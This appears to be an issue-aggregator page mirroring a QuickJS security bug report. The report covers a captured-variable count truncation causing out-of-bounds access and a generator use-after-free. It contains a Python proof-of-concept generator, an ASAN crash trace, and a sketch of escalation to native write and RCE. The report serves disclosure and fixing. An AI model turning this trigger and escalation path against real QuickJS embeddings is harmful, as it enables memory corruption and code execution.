Captured variable count truncation causes out-of-bounds r/w + generator use-after-free

オープン
#1,865 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

メンテナーはふだん 1 日以内に返信

@ck0i がすでに取り組んでいます。

2026年11月2日 から。

  • #1869 @ck0i による — オープン

評価

難易度
4/5
見積もり時間
3〜5日
初心者へのやさしさ
52/100
issue の種類
バグ
明瞭さ
明確に書かれている
活発さ
活発
技術スタック
c
領域
security

調査の方向性

Start in quickjs.c at capture_var(), async_func_init(), and close_lexical_var(), following how the captured-variable count is stored and used to allocate and close the generator frame. Reproduce with the supplied poc.js under ASAN using qjs poc.js. The fix is complete when the 65,536-variable case no longer causes an out-of-bounds access or generator use-after-free, with regression coverage for the count boundary.

索引モデルが issue の本文から書いたものです。

説明

capture_var() assigns JSVarDef.var_ref_idx from unchecked int count. And JSFunctionBytecode.var_ref_count stores that count in uint16_t.

  1. Capturing 65,536 variables makes var_ref_count wrap to zero.
  2. async_func_init() allocates generator frame using truncated count.
  3. close_lexical_var() indexes sf->var_refs[var_ref_idx] using original index, reads past this frame, and clears that slot if it contains pointer.
  4. When that slot contains a live JSVarRef *, then close_var_ref() decrements the generator frame's reference count. And then the frame can be freed while the generator object still points to it.
  5. Reusing the frame with an ArrayBuffer lets the stale generator write two native callback fields

So can be escalated to write pretty easily, and we also have a working RCE exploit for this.

PoC

from pathlib import Path

a = ",".join(f"a{i}" for i in range(32768))
v = ",".join(f"v{i}" for i in range(32767))
refs = ";".join([f"a{i}" for i in range(32768)] +
                [f"v{i}" for i in range(32767)])

Path("poc.js").write_text(
    f"function* g({a}){{\n"
    "  { let x=1; if (Math.random()<0) (()=>x); }\n"
    f"  var {v};\n"
    f"  if (Math.random()<0) (()=>{{{refs}}});\n"
    "  yield 1;\n}\n"
    "var it=g(); it.next();\n"
)

Test with ASAN qjs poc.js

ASAN Crash

=================================================================
==47==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x72401ee9c890 at pc 0x5f022f6a55bf bp 0x7ffcbfb97620 sp 0x7ffcbfb97610
READ of size 8 at 0x72401ee9c890 thread T0
    #0 0x5f022f6a55be in close_lexical_var /tmp/quickjs-bellard/quickjs.c:18000
    #1 0x5f022f6a55be in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:19228
    #2 0x5f022f7d1ed3 in async_func_resume /tmp/quickjs-bellard/quickjs.c:21536
    #3 0x5f022f7d2778 in js_generator_next /tmp/quickjs-bellard/quickjs.c:21689
    #4 0x5f022f715db3 in js_call_c_function /tmp/quickjs-bellard/quickjs.c:18127
    #5 0x5f022f68b95c in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18274
    #6 0x5f022f68a9c3 in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18678
    #7 0x5f022f6a8e37 in JS_CallFree /tmp/quickjs-bellard/quickjs.c:21300
    #8 0x5f022f806649 in JS_EvalFunctionInternal /tmp/quickjs-bellard/quickjs.c:38190
    #9 0x5f022f807d90 in __JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38323
    #10 0x5f022f719b86 in JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38349
    #11 0x5f022f719b86 in JS_EvalThis /tmp/quickjs-bellard/quickjs.c:38382
    #12 0x5f022f719b86 in JS_Eval /tmp/quickjs-bellard/quickjs.c:38390
    #13 0x5f022f657f5e in eval_buf /tmp/quickjs-bellard/qjs.c:70
    #14 0x5f022f658159 in eval_file /tmp/quickjs-bellard/qjs.c:105
    #15 0x5f022f656f25 in main /tmp/quickjs-bellard/qjs.c:538
    #16 0x76402262a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
    #17 0x76402262a717 in __libc_start_main_impl ../csu/libc-start.c:360
    #18 0x5f022f657444 in _start (/tmp/quickjs-bellard/qjs+0x39444) (BuildId: 48cfb24202ae50ac2117949e7ce8bbd86c98c281)

0x72401ee9c890 is located 0 bytes after 524432-byte region [0x72401ee1c800,0x72401ee9c890)
allocated by thread T0 here:
    #0 0x764022b2b60f in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
    #1 0x5f022f65e969 in js_def_malloc /tmp/quickjs-bellard/quickjs.c:2195
    #2 0x5f022f65836e in js_malloc_large /tmp/quickjs-bellard/quickjs.c:1567
    #3 0x5f022f6cf141 in __js_malloc /tmp/quickjs-bellard/quickjs.c:1619
    #4 0x5f022f6cf141 in js_malloc_rt /tmp/quickjs-bellard/quickjs.c:1831
    #5 0x5f022f6cf141 in js_malloc /tmp/quickjs-bellard/quickjs.c:1862
    #6 0x5f022f6cf141 in async_func_init /tmp/quickjs-bellard/quickjs.c:21479
    #7 0x5f022f7d2e6e in js_generator_function_call /tmp/quickjs-bellard/quickjs.c:21744
    #8 0x5f022f68b95c in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18274
    #9 0x5f022f689fcd in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18642
    #10 0x5f022f6a8e37 in JS_CallFree /tmp/quickjs-bellard/quickjs.c:21300
    #11 0x5f022f806649 in JS_EvalFunctionInternal /tmp/quickjs-bellard/quickjs.c:38190
    #12 0x5f022f807d90 in __JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38323
    #13 0x5f022f719b86 in JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38349
    #14 0x5f022f719b86 in JS_EvalThis /tmp/quickjs-bellard/quickjs.c:38382
    #15 0x5f022f719b86 in JS_Eval /tmp/quickjs-bellard/quickjs.c:38390
    #16 0x5f022f657f5e in eval_buf /tmp/quickjs-bellard/qjs.c:70
    #17 0x5f022f658159 in eval_file /tmp/quickjs-bellard/qjs.c:105
    #18 0x5f022f656f25 in main /tmp/quickjs-bellard/qjs.c:538
    #19 0x76402262a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
    #20 0x76402262a717 in __libc_start_main_impl ../csu/libc-start.c:360
    #21 0x5f022f657444 in _start (/tmp/quickjs-bellard/qjs+0x39444) (BuildId: 48cfb24202ae50ac2117949e7ce8bbd86c98c281)

SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/quickjs-bellard/quickjs.c:18000 in close_lexical_var
Shadow bytes around the buggy address:
  0x72401ee9c600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x72401ee9c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x72401ee9c880: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9c900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9c980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9ca00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9ca80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x72401ee9cb00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==47==ABORTING
主要言語
C
スター
3.9k
フォーク
389
平均マージ
4日 5時間
マージ済み PR(30日)
16

環境構築

このプロジェクトには開発コンテナ、Dockerfile、コントリビューションガイドがありません。まず README を読み、一般的な手順ははじめてのコントリビューションガイドを参照してください。

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

quickjs-ng/quickjs のほかの issue

quickjs-ng/quickjs の issue をすべて見る

似ている issue

C の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。